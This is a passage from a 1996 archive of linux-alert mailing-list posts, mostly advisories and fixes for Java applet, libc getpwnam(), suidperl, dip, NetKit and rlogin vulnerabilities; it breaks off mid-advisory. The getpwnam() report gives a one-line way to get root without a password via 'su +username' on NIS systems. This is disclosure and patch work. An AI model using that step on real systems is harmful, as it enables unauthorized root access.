(from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id MAA13455; Thu, 2 May 1996 12:55:37 -0400 Date: Thu, 2 May 1996 12:50:11 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-alert] Yet Another Java Hole. X-Spook: marijuana KGB domestic terrorism X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] Not Linux-specific, but there are enough Linuxers running Web browsers to make this a potential threat to a large number of Linux systems. --Up. ------- start of forwarded message (RFC 934 encapsulation) ------- Excerpted from RISKS 18.08. - ------------ Date: Sun, 28 Apr 1996 03:42:49 +0000 (BST) >From: David Hopwood Subject: Another way to run native code from Java applets In addition to the security bug found by Drew Dean, Ed Felten and Dan Wallach in March, there is another way to run native code from a Java applet, which will require a separate fix to the current versions of Netscape (2.01 and Atlas PR2) and Sun's Java Development Kit (1.01). Both this attack and the previous one rely on an applet being able to create an instance of the same security-sensitive class, but each does so using an independent hole in the bytecode verifier. Once an applet is able to run native code, it can read, write, and execute any local file, with the permissions of the browser. These attacks do not require any additional preconditions, other than viewing the attacker's web page with Java enabled. They can be done without the user's knowledge. Summary of Java bugs found so far ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date Found by Fixed in Effects - --------- ------ ---------- ------- Oct 30 95 DFW not fixed Various - see in HotJava ftp://ftp.cs.princeton.edu/reports/1995/501.ps.Z Feb 18 96 DFW/SG 1.01/2.01 Applets can exploit DNS spoofing to connect to machines behind firewalls Buffer overflow bug in javap Mar 2 96 DH 1.01/2.01 win32/MacOS: Applets can run native code UNIX: Ditto, provided certain files can be created on the client Mar 22 96 DFW not fixed Applets can run native code Mar 22 96 EW not fixed If host names are unregistered, applets may be able to connect to them Apr 27 96 DH not fixed Applets can run native code There was also a separate bug in beta versions of Netscape 2.0 which, in hindsight, would have allowed applets to run native code. [DFW = Drew Dean, Ed Felten, Dan Wallach http://www.cs.princeton.edu/sip/News.html SG = Steve Gibbons http://www.aztech.net/~steve/java/ DH = David Hopwood http://ferret.lmh.ox.ac.uk/~david/java/ EW = Eric Williams http://www.sky.net/~williams/java/javasec.html Dates indicate when the problem was first posted to RISKS, except for Eric Williams' bug, which has not been posted.] For bugs in Javascript, see John LoVerso's page http://www.osf.org/~loverso/javascript/ These include the ability to list any local directory (apparently fixed in Atlas PR2), and a new version of the real-time history tracker. Additional information on the March 2nd absolute pathname bug is now available from http://ferret.lmh.ox.ac.uk/~david/java/ Recommended actions ~~~~~~~~~~~~~~~~~~~ Netscape (2.0beta*, 2.0, 2.01): Disable Java (on all platforms except Windows 3.1x), and if possible Javascript, using the Security Preferences dialogue in the Options menu. Note that the section on security in the Netscape release notes is not up-to-date. Netscape (Atlas PR1, PR2): As above, except that the options to disable Java and Javascript have moved to the Languages tab in the Network Preferences dialogue. Appletviewer (JDK beta*, 1.0, 1.01): Do not use appletviewer to load applets from untrusted hosts. HotJava (alpha*): Sun no longer supports HotJava alpha, and does not not intend to fix any of its security holes until a beta version is released. David Hopwood [email protected] ------- end ------- From [email protected] Thu May 9 08:52:09 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id IAA26610; Thu, 9 May 1996 08:52:09 -0400 Date: Thu, 9 May 1996 08:06:58 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-alert] Administrative note regarding subscriptions. X-Spook: Delta Force MIRV World Trade Center X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- I've noticed a *lot* of people that are subscribed to both the linux-security and linux-alert lists. (Current subscription total: 7450 addresses in 79 top-level domains.) Linux-alert postings are normally CC'd to the linux-security list; if you're subscribed to linux-security then you don't really need to be subscribed to linux-alert as well. linux-alert is for bug and fix announcements, important security-related announcements, etc., whereas linux-security is for background discussions and work on security issues. If you're only interested in hearing about really important matters you should be subscribed to linux-alert. If you're interested in the background information and discussions, as well as the important announcements, you should be subscribed to linux-security. One other note: since the traffic volume on linux-alert is quite low (typically only a couple/few posts per month), subscribing to linux-alert-digest effectively causes an alert to reach you roughly a week later than if you were subscribed to linux-alert. There's really no point in having a linux-alert-digest list; I'm once again considered discontinuing it and moving its subscribers over to the regular linux-alert list. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMZHf3XoDqzGe1QXFAQF/ZQQAwoqMV9lxfrd3INct3743ZSNoPfjJgerp 42kCxpKE4UGXY/oBTdDUL3i6dQFRLCvxbyPlrTw0w/ZUGfr20/TKQVWJGhD8XKyF gHaWT+iCimjCf8wc/YZqpMwzddCSr37J+erJO1qkynaxQW8N6x5NlL4XbR7wswmI QARJ3+UCwnM= =XNaE -----END PGP SIGNATURE----- From [email protected] Tue May 28 11:14:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA01128; Tue, 28 May 1996 11:14:16 -0400 Date: Tue, 28 May 1996 11:02:41 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-alert] Serious Security hole in getpwnam () X-Spook: Delta Force bombing genetic X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- This is a *very* serious hole that affects Linux-based NIS client systems. A more formal alert will be posted once a fixed version of libc has been officially released. For those that don't want to (or can't) patch and recompile their own fixed version of libc, I recommend the *immediate* removal of all "stub" NIS username entries, of the forms described in the attached message, from /etc/passwd. - --Up. [Please note that the PGP and forwarding encapsulations have modified the MIME headers and the diff/patch segment.] - ------- start of forwarded message (RFC 934 encapsulation) ------- From: Arno Schaefer Sender: [email protected] Organization: Fraunhofer CRCG, Inc. To: [email protected] Subject: Serious Security hole in getpwnam () Date: Fri, 24 May 1996 15:37:54 -0400 This is a multi-part message in MIME format. - - --------------63DB9C7E36AD404B638D1437 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff, I just discovered a major security hole in the getpwnam() function in the current libc (5.3.12, probably present in all previous versions). It can be exploited if there is an entry in the form +username:::::: or -username:::::: or similar in /etc/passwd (an entry to admit or exclude a single user from the NIS passwd file). By typing 'su +username' or 'su -- -username' resp. you become root without being asked for a passwd. 'login' is not vulnerable, so only users with shell access to the machine can exploit the bug. I tried it on two different systems that used NIS, both running Slackware 3.0, libc 5.3.12 and 5.0.9, resp. It can only be used if an entry of the form described above is present, so many systems that do not use NIS or that have only a standard '+' entry are safe against this attack. This apparently has been know for a long time, since the source for 'login' reads: /* Dirty patch to fix a gigantic security hole when using yellow pages. This problem should be solved by the libraries, and not by programs, but this must be fixed urgently! If the first char of the username is '+', we avoid login success. Feb 95 */ if (username[0] == '+') { puts("Illegal username"); badlogin(username); sleepexit(1); } but probably due to bad communication it was not fixed in libc. A similar bug in the same function was fixed over a year ago ('su +' or 'su +@netgroup'), but strangely nobody thought about 'su +username'. I attach a patch that fixes the hole - it was taken against libc 5.3.12, but should be easily adaptable to other versions. I was already in contact with H.J. Lu and expect that the next version of libc will contain this patch. I think this info should be forwarded to the linux-alert mailing list. Regards, Arno -- Arno Schaefer - [email protected] Fraunhofer Center for Research in Computer Graphics, Providence RI -- Opinions expressed are my own and not those of Fraunhofer CRCG -- Never attribute to malice that which can be adequately explained by stupidity - - --------------63DB9C7E36AD404B638D1437 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="getpwnam.patch" Index: getpwnam.c =================================================================== RCS file: /home/work/cvs/linux/libc/pwd/getpwnam.c,v retrieving revision 1.5 diff -c -r1.5 getpwnam.c *** getpwnam.c 1996/05/22 15:49:37 1.5 - - --- getpwnam.c 1996/05/23 06:59:32 *************** *** 53,58 **** - - --- 53,63 ---- register FILE *stream; register struct passwd *p; + #ifdef YP + if (name[0] == '-' || name[0] == '+') + return NULL; + #endif + if (info == NULL) { info = __pwdalloc(); - - --------------63DB9C7E36AD404B638D1437-- - ------- end ------- [Mod: I have also verified the existence of this hole in libc-4.6.27 (a.out). --Jeff.] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMasUZnoDqzGe1QXFAQHvzwQAp0qBxFtHl/+4RkxbvK3HETdpT6n/OOFA B15kmXdkgcbCtIF5slfgXbB244KMGf3sebNjtC/IBtNRfyDP7e/P+v4poeEEmcyu BJfc2UxoiE5yK9/L/PgAUgm9exYMVyNT8N9balb509q7eI5gWjhxK9vDb1P0MyI8 NFf2QC7D5mI= =exlk -----END PGP SIGNATURE----- linux-alert/linux-alert.9606100664 1767 1767 34475 6164516031 15216 0ustar majdommajdomFrom [email protected] Thu Jun 27 10:34:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25080; Thu, 27 Jun 1996 10:34:55 -0400 Resent-Date: Thu, 27 Jun 1996 10:25:05 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-Id: <[email protected]> Organization: CERT(sm) Coordination Center - +1 412-268-7090 From: CERT Advisory To: [email protected] Subject: [linux-alert] CERT Advisory CA-96.12 - Vulnerability in suidperl Date: Wed, 26 Jun 1996 11:34:01 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [Mod: This affects Linux. --Jeff] -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.12 June 26, 1996 Topic: Vulnerability in suidperl - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of a vulnerability in systems that contain the suidperl program and that support saved set-user-ID and saved set-group-ID. By exploiting this vulnerability, anyone with access to an account on such a system may gain root access. Saved set-user-IDs and set-group-IDs are sometimes referred to as POSIX saved IDs. suidperl is also known as sperl followed by a version number, as in sperl5.002. Perl versions 4 and 5 can be compiled and installed in such a way that they will be vulnerable on some systems. If you have installed the suidperl or sperl programs on a system that supports saved set-user-ID and set-group-ID, you may be at risk. The CERT Coordination Center recommends that you first disable the suidperl and sperl programs (Section III.A). If you need the functionality, we further recommend that you either apply a patch for this problem or install Perl version 5.003 (Section III.B). If neither a patch nor a new version are viable alternatives, we recommend installing the wrapper written by Larry Wall as a workaround for this problem (Section III.C). As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.12.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - ----------------------------------------------------------------------------- I. Description On some systems, setuid and setgid scripts (scripts written in the C shell, Bourne shell, or Perl, for example, with the set user or group ID permissions enabled) are insecure due to a race condition in the kernel. For those systems, Perl versions 4 and 5 attempt to work around this vulnerability with a special program named suidperl, also known as sperl. Even on systems that do provide a secure mechanism for setuid and setgid scripts, suidperl may also be installed--although it is not needed. suidperl attempts to emulate the set-user-ID and set-group-ID features of the kernel. Depending on whether the script is set-user-ID, set-group-ID, or both, suidperl achieves this emulation by first changing its effective user or group ID to that of the original Perl script. suidperl then reads and executes the script as that effective user or group. To do these user and group ID changes correctly, suidperl must be installed as set-user-ID root. On systems that support saved set-user-ID and set-group-ID, suidperl does not properly relinquish its root privileges when changing its effective user and group IDs. II. Impact On a system that has the suidperl or sperl program installed and that supports saved set-user-ID and saved set-group-ID, anyone with access to an account on the system can gain root access. III. Solution The command in Section A helps you determine if your system is vulnerable and, if it is, optionally disables the suidperl and sperl programs that it locates. After you have run this command on all of your systems, your system will no longer be vulnerable. If you find that your system is vulnerable, then you need to replace the suidperl and sperl programs with new versions. Section B describes how to do that. Finally, Section C identifies a wrapper that can be used in place of the suidperl program. A. How to determine if your system is vulnerable To determine if a system is vulnerable to this problem and to disable the programs that are believed to be vulnerable, use the following find command or a variant. Consult your local system documentation to determine how to tailor the find program on your system. You will need to run the find command on each system you maintain because the command examines files on the local disk only. Substitute the names of your local file systems for FILE_SYSTEM_NAMES in the example. Example local file system names are /, /usr, and /var. You must do this as root. Note that this is one long command, though we have separated it onto three lines using back-slashes. find FILE_SYSTEM_NAMES -xdev -type f -user root \ \( -name 'sperl[0-9].[0-9][0-9][0-9]' -o -name \ 'suidperl' \) -perm -04000 -print -ok chmod ug-s '{}' \; This command will find all files on a system that are - only in the file system you name (FILE_SYSTEM_NAMES -xdev) - regular files (-type f) - owned by root (-user root) - named appropriately (-name 'sperl[0-9].[0-9][0-9][0-9]' -o -name 'suidperl') - setuid root (-perm -04000) Once found, those files will - have their names printed (-print) - have their modes changed, but only if you type `y' in response to the prompt (-ok chown ug-s '{}' \;) B. Obtain and install the appropriate patch according to the instructions included with the patch. Vendor patches -------------- You may be vulnerable if your vendor supports saved set-user-ID and set-group-ID and ships suidperl or sperl. You need to get a patched version from your vendor. Appendix A contains information provided by vendors as of the date of this advisory. When we receive updated information, we will put it in CA-96.12.README. Until you can install a patch, we recommend disabling suidperl. The find command above will help you do that. If you need suidperl or sperl, an alternative is to install the wrapper described in Section C. Source code patches ------------------- If you have installed Perl from source code, you should install source code patches. Patches are available from the CPAN (Comprehensive Perl Archive Network) archives. Patch for Perl Version 4: File src/fixsuid4-0.pat MD5 Checksum af3e3c40bbaafce134714f1381722496 Patch for Perl Version 5: File src/fixsuid5-0.pat MD5 Checksum 135c96ee400fd37a38a7ef37edd489e9 In addition, Perl version 5.003 contains this patch, so installing it on your system also addresses this vulnerability. Perl 5.003 is available from the CPAN archives. Here are the specifics: File src/5.0/perl5.003.tar.gz MD5 Checksum b1bb23995cd25e5b750585bfede0e8a5 The CPAN archives can be found at the following locations: CPAN master site ftp://ftp.funet.fi/pub/languages/perl/CPAN/ Africa ftp://ftp.is.co.za/programming/perl/CPAN/ Asia ftp://dongpo.math.ncu.edu.tw/perl/CPAN/ ftp://ftp.lab.kdd.co.jp/lang/perl/CPAN/ Australasia ftp://coombs.anu.edu.au/pub/perl/ ftp://ftp.mame.mu.oz.au/pub/perl/CPAN/ ftp://ftp.tekotago.ac.nz/pub/perl/CPAN/ Europe ftp://ftp.arnes.si/software/perl/CPAN/ ftp://ftp.ci.uminho.pt/pub/lang/perl/ ftp://ftp.cs.ruu.nl/pub/PERL/CPAN/ ftp://ftp.demon.co.uk/pub/mirrors/perl/CPAN/ ftp://ftp.funet.fi/pub/languages/perl/CPAN/ ftp://ftp.ibp.fr/pub/perl/CPAN/ ftp://ftp.leo.org/pub/comp/programming/languages/perl/CPAN/ ftp://ftp.pasteur.fr/pub/computing/unix/perl/CPAN/ ftp://ftp.rz.ruhr-uni-bochum.de/pub/programming/languages/perl/CPAN/ ftp://ftp.sunet.se/pub/lang/perl/CPAN/ ftp://ftp.switch.ch/mirror/CPAN/ ftp://unix.hensa.ac.uk/mirrors/perl-CPAN/ North America ftp://ftp.cis.ufl.edu/pub/perl/CPAN/ ftp://ftp.delphi.com/pub/mirrors/packages/perl/CPAN/ ftp://ftp.sedl.org/pub/mirrors/CPAN/ ftp://ftp.sterling.com/programming/languages/perl/ ftp://ftp.uoknor.edu/mirrors/CPAN/ ftp://uiarchive.cso.uiuc.edu/pub/lang/perl/CPAN/ C. If you need setuid or setgid Perl scripts and are unable to apply the source code patches listed in Section B, we suggest that you retrieve Larry Wall's fixsperl script noted below. fixsperl is a script that replaces the suidperl and sperl programs with a wrapper that eliminates the vulnerability. The script is available from the CPAN archives as File src/fixsperl-0 MD5 Checksum f13900d122a904a8453a0af4c1bdddc6 Note that this script should be run one time, naming every suidperl or sperl file on your system. If you add another version of suidperl or sperl to your system, then you must run fixsperl on those newly installed versions. - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Paul Traina, Larry Wall, Eric Allman, Tom Christiansen, and AUSCERT for their support in the development of this advisory. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key: ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for non-commercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. ......................................................................... Appendix A: Vendor Information Current as of June 26, 1996 See CA-96.12.README for updated information. Below is information we have received from vendors concerning the vulnerability described in this advisory. If you do not see your vendor's name, please contact the vendor directly for information. Apple Computer, Inc. ==================== A/UX 3.1.1 and earlier support saved set-{user,group}-ids. A/UX 3.1.1 and earlier do not have Perl as part of the standard product. Data General Corporation ======================== Data General does support saved set-user-IDs and set-group-IDs on DG/UX. Data General does not ship suidperl or sperl* with DG/UX. Hewlett-Packard Company ======================= HP/UX versions 8.X, 9.X, and 10.X all support saved set-user-id. None of HP/UX versions 8.X, 9.X, and 10.X have Perl as part of the standard product. IBM Corporation =============== AIX versions 3.2.5 and 4.X support saved set-user-id. AIX versions 3.2.5 and 4.X do not have Perl as part of the standard product. However, the SP2's PSSP software does contain suidperl, but the program is not installed with the setuid bit set. Linux ===== Linux 1.2 and 2.0 support saved set-user-id. Most distributions of Linux provide suidperl and sperl. The fixsperl script works on linux, and it is recommended that this fix be applied until a new Perl release is made. Open Software Foundation ======================== OSF/1 1.3 or later support saved set-user-id OSF/1 1.3 or later does not have Perl as part of the standard product. Sony Corporation ================ NEWS-OS 4.X does not support saved set-user-id and therefore any version of Perl on that system is not vulnerable. NEWS-OS 6.X does support saved set-user-id. X.org ===== None of X.org's development systems are vulnerable to the saved set-user-IDs and set-group-IDs problems, and suidperl is not shipped with either of our products. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMdE8tnVP+x0t4w7BAQF2eQQAlpH/zOBMFK3/TQ+TAbfAkkULJORsvPTs Hv2aJtInooObGNlT8NThg+7DBOUTcNQ7allPtNRzDE9xIDsn/ZGQZSUMtuSiVqI5 F9vgXZgDFNMknRW35ae6E9zJ3R/FJGIVxQyA6BB2YhbyvnaMrzKqE0nGDy1GZsPl mhGAXh3CZYw= =o+Jl -----END PGP SIGNATURE----- linux-alert/linux-alert.9607100664 1767 1767 36414 6177601712 15217 0ustar majdommajdomFrom [email protected] Tue Jul 9 17:21:45 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA01747; Tue, 9 Jul 1996 17:21:45 -0400 Date: Tue, 9 Jul 1996 17:17:01 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected], [email protected] Subject: [linux-alert] CERT Advisory CA-96.13.dip_vul (dip vulnerability). X-Spook: cracking cracking Iran X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] This is actually rather old news; Dan Walters posted an alert about this vulnerability on January 22, 1996, and Marc Ewing posted binary fix availability information for Red Hat systems the next day. The original alert(s) is/are archived at: linux.nrao.edu:/pub/security/list-archive/linux-alert/linux-alert.9601 linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960122 linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960123 The exploit that CERT mentions was publicly posted to linux-security and Bugtraq in January as well. --Up. -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.13 July 9, 1996 Topic: Vulnerability in the dip program - ----------------------------------------------------------------------------- The CERT Coordination Center has received several reports of exploitations of a vulnerability in the dip program on Linux systems. The dip program is shipped with most versions of the Linux system; and versions up to and including version 3.3.7n are vulnerable. An exploitation script for Linux running on X86-based hardware is publicly available. Although exploitation scripts for other architectures and operating systems have not yet been found, we believe that they could be easily developed. The CERT Coordination Center recommends that you disable dip and re-enable it only after you have installed a new version. Section III below describes how to do that. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.13.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - ----------------------------------------------------------------------------- I. Description dip is a freely available program that is included in most distributions of Linux. It is possible to build it for and use it on other UNIX systems. The dip program manages the connections needed for dial-up links such as SLIP and PPP. It can handle both incoming and outgoing connections. To gain access to resources it needs to establish these IP connections, the dip program must be installed as set-user-id root. A vulnerability in dip makes it possible to overflow an internal buffer whose value is under the control of the user of the dip program. If this buffer is overflowed with the appropriate data, a program such as a shell can be started. This program then runs with root permissions on the local machine. Exploitation scripts for dip have been found running on Linux systems for X86 hardware. Although exploitation scripts for other architectures and operating systems have not yet been found, we believe that they could be easily developed. II. Impact On a system that has dip installed as set-user-id root, anyone with access to an account on that system can gain root access. III. Solution Follow the steps in Section A to disable your currently installed version of dip. Then, if you need the functionality that dip provides, follow the steps given in Section B. A. Disable the presently installed version of dip. As root, chmod 0755 /usr/sbin/dip By default, dip is installed in the /usr/sbin directory. Note that it may be installed elsewhere on your system. B. Install a new version of dip. If you need the functionality that dip provides, retrieve and install the following version of the source code for dip, which fixes this vulnerability. dip is available from ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz.sig MD5 (dip337o-uri.tgz) = 45fc2a9abbcb3892648933cadf7ba090 SHash (dip337o-uri.tgz) = 6e3848b9b5f9d5b308bbac104eaf858be4dc51dc - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Uri Blumenthal for his solution to the problem and Linux for their support in the development of this advisory. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. This file: ftp://info.cert.org/pub/cert_advisories/CA-96.13.dip_vul http://www.cert.org click on "CERT Advisories" -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMeJzdXVP+x0t4w7BAQEJdAQAt0Y9zXDjpeuRYFI+vmceXpHL8QJPm1GL zArG5qhGx5+9hTioQCUiq/kl6uXMI0IAbfdwDG3I0wg5i7Jvi8PLYyDujpl8+gVT jzJFEQ/S9CjZ6LUxzo2Twg90urQrphFzwnY4L5DVEftKaoL1zCpg6i4SadC7vQUm n0HWkh7kV4M= =zcQN -----END PGP SIGNATURE----- From [email protected] Thu Jul 25 14:51:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA18613; Thu, 25 Jul 1996 14:51:34 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-alert] Linux NetKit-B update. To: [email protected], [email protected] Date: Wed, 24 Jul 1996 01:41:12 -0400 (EDT) X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] Linux NetKit-B-0.07 has been released (check comp.os.linux.announce for details). This fixes the following security problems/hazards: 1. Possible overrun copying DNS results into a buffer on the stack in fingerd while processing the linux-specific -w ("welcome banner") option. Patch: convert sprintf to snprintf. 2. Possible overrun copying DNS results into a buffer on the stack in talkd. This affected FreeBSD, NetBSD, and OpenBSD as well; all have integrated a fix into the current development tree. It may affect vendors... Patch: convert sprintf to snprintf in announce.c. 3. Possible overrun copying $TERM into a buffer on the stack in rlogin. This affects lots of platforms, but has been mentioned here before I think. Patch: use snprintf or strncpy. 4. Suspicious (but not necessarily exploitable) handling of buffers on the stack in rshd. Patch: convert sprintf to snprintf. 5. rsh didn't drop root before execing rlogin. This is not a big deal except in conjunction with (3) -- chmod -s on rlogin is *not* sufficient. 6. Buffer overflow in ping mentioned yesterday, but it's not on the stack and consequently probably not exploitable. Patch: use snprintf. 7. Integrated a fix for the telnetd environment bug (old news, but it hadn't got into the standard linux sources yet.) Also, there was a bug in sliplogin where it did "setuid(0); system()" without clearing the environment. A fixed version has been available for Linux and FreeBSD for some time, but the news had not reached NetBSD until last week. Vendor versions could be vulnerable. -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Wed Jul 31 02:57:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id CAA15874; Wed, 31 Jul 1996 02:57:11 -0400 Message-Id: <[email protected]> To: [email protected] Cc: [email protected] Subject: [linux-alert] LSF Update#11: Vulnerability of rlogin Date: Tue, 30 Jul 1996 18:11:00 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update rlogin Vulnerability Tue Jul 30 17:51:57 EDT 1996 Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the rlogin program of NetKitB-0.6 This vulnerability affects several widely used Linux distributions, including RedHat Linux 2.0, 2.1 and derived systems including Caldera Network Desktop, Slackware 3.0 and others. This vulnerability is not limited to Linux or any other free UNIX systems. Both the information about this vulnerability and methods of its expolit were made available on the Internet. RISK ASSESMENT Local and remote users could gain super-user priviledges DISTRIBUTION FIXES Red Hat Commercial Linux Red Hat Linux version 2.0 and 2.1 contains vulnerable program unless NetKit-B-0.06-7.i386.rpm was installed. In order to fix the vulnerability install NetKit-B-0.06-7 rpm available from ftp://ftp.redhat.com/pub/redhat/old-releases/redhat-2.1/i386/updates/RPMS/NetKit-B-0.06-7.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat-2.1/NetKit-B-0.06-7.i386.rpm Please verify the MD5 signature of the RPM prior to installing it. 601c3f6137a6fb15ae61a6b817395040 NetKit-B-0.06-7.i386.rpm Red Hat Linux version 3.0.3 (Picasso) does not contain vulnerable rlogin program. Caldera Network Desktop Version 1 of CND contains the vulnerable program unless NetKit-B-0.06-4c1.i386.rpm was installed. This RPM is available from ftp://ftp.caldera.com/pub/cnd-1.0/updates/NetKit-B-0.06-4c1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm ftp://tarsier.cv.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/CND/NetKit-B-0.06-4c1.i386.rpm Please verify the MD5 signature of RPM prior to installing it. aeb2da201477cd3280fdc09836395c35 NetKit-B-0.06-4c1.i386.rpm Version 1 of CND upgraded to RedHat Linux 3.0.3 (Picasso) does not contain a vulnerable program. Debian Debian Project did not either confirm or deny the vulnerability of Debian/GNU Linux 1.1. Debian/GNU Linux systems may be vulnerable if NetKit-B-0.6 is installed. Until the official fix-kit is available for Debian/GNU Linux, system administrators of Debian systems are advised to follow guidelines under Other Linux Distributions section. Slackware The Slackware Linux distribution Version 3.0 is confirmed to be vulnerable unless a NetKit newer than NetKit-B-0.6 is installed. Until the official fix-kit is available for Slackware 3.0, the system administrators are advised to follow the guidelines under Other Linux Distributions section. Yggdrasil Yggdrasil Computing's Plug & Play Linux Fall'95 contains vulnerable rlogin program. Adam J. Richter from Yggdrasil Computing made an unofficial fix-kit available at ftp.yggdrasil.com/pub/support/fall95/rlogin_fix/ We are unable to provide MD5 signature for the fix kit as we are unable to verify the integrity of the message. Other Linux Distributions System administrators of systems based on other Linux distributions or distributions that do not 